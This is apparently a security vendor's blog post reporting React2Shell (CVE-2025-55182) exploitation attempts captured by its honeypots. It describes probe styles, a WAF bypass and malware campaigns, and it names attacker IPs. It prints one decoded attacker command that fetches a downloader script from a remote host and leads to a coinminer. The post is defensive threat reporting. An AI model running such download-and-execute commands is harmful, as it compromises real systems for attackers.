React2Shell and What Our Canaries See | Blog

The data used in this blog was collected at 5pm EST on December 8, 2025.

CVE-2025-55182, React2Shell, is an appealing bug for attackers because it offers multiple paths to exploitation. Inside VulnCheck, the Initial Access Intelligence team spends time on the nuances, such as how the in-memory webshell works and how bypasses develop. Real-world attackers often take a different approach, folding the bug into the tooling and workflows they already rely on. To understand how React2Shell is appearing in real attacks, we looked at the probes and payloads hitting our Canary Intelligence. Our research team also has exploit, PoC, and variant analysis here.

The first React2Shell payload that hit our canary network, on December 5 around 5 am EST, looked relatively benign. It was a straightforward vulnerability check from 95.214.52.170 that issued a ping to 45.157.233.80 to confirm successful exploitation.

But upon success, this attacker returned, fetching binaries from 31.56.27.76 or 193.34.213.150. Their follow-up activity consisted of downloading and executing a binary hosted elsewhere.

This pattern has been consistent over the last few days: a variety of vulnerability probes followed by the download and execution of weaponized payloads. The probes are worth examining in more detail.

The vulnerability checks we’ve observed fall into five main flavors. The first is uname-based. A successful check gives the attacker immediate system details on Linux hosts, such as the distribution and architecture. Below is an example probe from 74.201.72.250:

The second most common probe is math-based. Honeypots rarely return the correct output, which makes this type of check appealing to attackers. It comes in two forms: a Linux variant and a PowerShell variant, often sent together by the same actor. The following example came over a single TCP connection from 143.110.184.254.

It’s also worth noting the hard-coded multipart boundary. ------WebKitFormBoundaryx8jO2oVc6SWP3Sad matches the one used in vulhub’s exploit, which only runs id. It’s another reminder that attackers frequently reuse public proof-of-concept code with minimal changes.

The third flavor is similar to the previous approach. Forcing the target to perform a calculation helps distinguish a real system from a honeypot, so some attackers use an md5 echo as their probe. Here is an example from 79.124.40.174.

I personally think the math-based approaches are the strongest, but another useful variant just executes whoami. It may look less capable, but because whoami runs on both Linux and Windows, it can still give attackers a quick sense of the environment. Here is an example from 95.214.52.170:

The last flavor is much less common. Following the approach used in AssetNote’s scanner, some attackers simply trigger the vulnerable codepath to identify a system. Here is an example from 167.86.107.35:

These probes make up the bulk of the reconnaissance we’ve observed. From there, attackers move on to weaponized payloads.

Probing tells us who’s looking. The payloads tell us what they want, which is exactly what Canary Intelligence is built to observe. So far, most of the payload activity has been simple “download and execute” behavior, with only a handful of interesting variations.

While most payloads follow the same simple pattern, a few attempts are more notable. For example, 85.11.167.3 appears to be using a WAF bypass documented by @pyn3rd on X. The large chunk of random data is intended to evade size restrictions applied by some WAFs.

It’s also worth noting that 85.11.167.3 used other, now-defunct methods as part of this activity. Their hosting at gfxnick.emerald.usbx.me is no longer accessible, suggesting that a portion of the campaign has been abandoned.

Several campaigns we captured have already gone quiet, but one that remains active is worth highlighting. It uses echo piped through base64 to obfuscate its payload.

The payload resolves to (curl \-k http://59.7.217.245:7070/c.sh||wget \--no-check-certificate \-q \-O- http://59.7.217.245:7070/c.sh)\>\>/var/tmp/5.sh which produces a downloader script:

All of this effort resolves into a coinminer, which the linked VirusTotal sample confirms.

Another active campaign in our data is the RondoDox botnet. For those unfamiliar, RondoDox rapidly incorporates new exploits but remains easy to detect because its hard-coded user agents give it away.

We’ve seen many more attackers following this same pattern: download a payload to disk and run it. Our Initial Access team has focused on diskless exploitation and the nuances of React2Shell, but most attackers are succeeding with the simplest possible approach.

Despite the flexibility of React2Shell, most attackers are sticking to familiar workflows: probe, download, execute. The nuance is in the probing, not the payloads. As new campaigns emerge, Canary Intelligence will continue to provide a view into how attackers are adapting the vulnerability to their tooling. A list of the IPs observed in our data is included below.

VulnCheck’s research team tracks real-world exploitation, attacker infrastructure, and exploit workflows using our Canary Intelligence, Exploit & Vulnerability Intelligence (EVI), and IP Intelligence datasets. For more research like this check out our blogs, Frost Checks First, The Mystery OAST Host Behind a Regionally Focused Exploit Operation, and XWiki Under Increased Attack.

Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.